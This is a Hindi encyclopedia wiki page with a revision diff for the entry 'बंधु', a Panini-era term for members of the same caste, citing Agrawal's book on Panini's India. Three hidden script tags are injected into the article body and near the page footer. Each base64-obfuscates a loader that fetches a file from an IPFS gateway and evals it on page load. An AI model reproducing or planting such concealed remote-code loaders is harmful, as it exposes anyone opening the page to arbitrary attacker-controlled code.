एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

"बंधु" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "==संबंधित लेख==" to "==संबंधित लेख== {{पाणिनिकालीन शब्दावली}}")
 
पंक्ति 13: पंक्ति 13:
 
{{पाणिनिकालीन शब्दावली}}
 
{{पाणिनिकालीन शब्दावली}}
  
[[Category:पाणिनिकालीन शब्दावली]][[Category:प्राचीन भारत का इतिहास]][[Category:इतिहास कोश]]
+
[[Category:पाणिनिकालीन शब्दावली]]
 +
[[Category:पाणिनिकालीन भारत]][[Category:प्राचीन भारत का इतिहास]][[Category:इतिहास कोश]]
 
__INDEX__
 
__INDEX__

10:10, 6 मई 2018 के समय का अवतरण

बंधु पाणिनिकालीन भारतवर्ष में प्रचलित एक शब्द था।

  • काशिका में स्पष्ट लिखा है कि ब्राह्मणत्व आदि जाति तो अव्यक्त है। वह जिन व्यक्तियों द्वारा पहचानी जाती है, वे बंधु कहलाते हैं।
  • बंधु शब्द में यह संकेत है कि एक जाति के सब सदस्य एक पूर्व पुरुष के उत्पन्न होने के कारण एक-दूसरे से बंधे हैं। इस कारण सब जाति भाई आपस में समान 'बंधु' या 'सबंधु' कहे जाते थे।[1][2]


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: पाणिनि, अष्टाध्यायी एवं भारत का इतिहास


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 6/3/85
  2. पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 105 |

संबंधित लेख